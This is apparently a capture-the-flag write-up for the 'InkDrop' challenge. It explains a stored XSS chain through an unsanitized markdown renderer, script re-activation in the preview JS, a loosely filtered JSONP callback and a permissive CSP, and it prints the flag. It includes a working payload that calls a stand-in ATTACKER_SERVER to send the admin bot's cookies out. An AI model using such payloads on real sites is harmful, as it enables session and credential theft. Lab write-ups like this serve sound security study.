InkDrop is a markdown-based writing platform with a Flask backend, nginx reverse proxy, and a Playwright admin bot that visits reported posts. The flag is stored as a non-httpOnly cookie on the bot's browser.
The vulnerability is a stored XSS that chains four weaknesses: unsanitized HTML in the markdown renderer, script re-activation logic in the preview JS, a JSONP endpoint with insufficient callback filtering, and a CSP that permits same-origin script loading with unrestricted outbound connections.
app.py:52-62 — The custom render_markdown function applies regex-based markdown transforms but never escapes or strips raw HTML. Any HTML tags in post content pass through to the rendered output unchanged.
def render_markdown(content):
html_content = content
html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
html_content = html_content.replace('\n\n', '</p><p>')
html_content = f'<p>{html_content}</p>'
return html_contentstatic/js/preview.js:16-44 — The preview system fetches rendered HTML from /api/render and sets it via innerHTML, which by design does not execute <script> tags. However, the processContent function then queries the container for <script> elements whose src attribute contains /api/, clones them into new script elements, and appends them to document.body — which does execute them:
fetch('/api/render?id=' + postId)
.then(function(response) {
if (!response.ok) throw new Error('Failed to load');
return response.json();
})
.then(function(data) {
const preview = document.getElementById('preview');
preview.innerHTML = data.html;
processContent(preview);
})
.catch(function(error) {
document.getElementById('preview').innerHTML = '<p class="error">Failed to load content.</p>';
});
function processContent(container) {
const codeBlocks = container.querySelectorAll('pre code');
codeBlocks.forEach(function(block) {
block.classList.add('highlighted');
});
const scripts = container.querySelectorAll('script');
scripts.forEach(function(script) {
if (script.src && script.src.includes('/api/')) {
const newScript = document.createElement('script');
newScript.src = script.src;
document.body.appendChild(newScript);
}
});
}app.py:215-233 — The /api/jsonp endpoint reflects a user-controlled callback parameter into a JavaScript response. The only filter is rejecting < and >:
if '<' in callback or '>' in callback:
callback = 'handleData'
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')Arbitrary JavaScript expressions (without angle brackets) are accepted as the callback name.
post_view.html sets the CSP via meta tag:
default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;
script-src 'self'— the JSONP endpoint is same-origin, so it's a permitted script sourceconnect-src *—fetch()to any external domain is allowed for exfiltration
preview.js:11-14 checks a CONFIG variable for safe mode, but no script ever loads /api/config, so CONFIG remains undefined and the check is always skipped.
Post content:
<script src="/api/jsonp?callback=fetch('https://ATTACKER_SERVER/'.concat(document.cookie))//"></script>.concat() is used instead of + to avoid + being decoded as a space in query string parsing.
- Register an account and create a post with the payload above
- Report the post to trigger the admin bot
- The bot visits
/post/{id}, which loadspreview.js preview.jsfetches/api/render?id={id}— returns HTML containing the<script>taginnerHTMLinserts the HTML — script tag exists in the DOM but doesn't executeprocessContentfinds the<script>(src contains/api/), clones it into a new element, appends to body — executes- Browser loads
/api/jsonp?callback=fetch('https://ATTACKER_SERVER/'.concat(document.cookie))// - Flask returns:
fetch('https://ATTACKER_SERVER/'.concat(document.cookie))//({...}) - The
fetch()sends the bot'sflagcookie to the attacker server;//comments out the trailing JSONP wrapper - Received flag at attacker server:
INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}
Thanks for a fun challenge 👍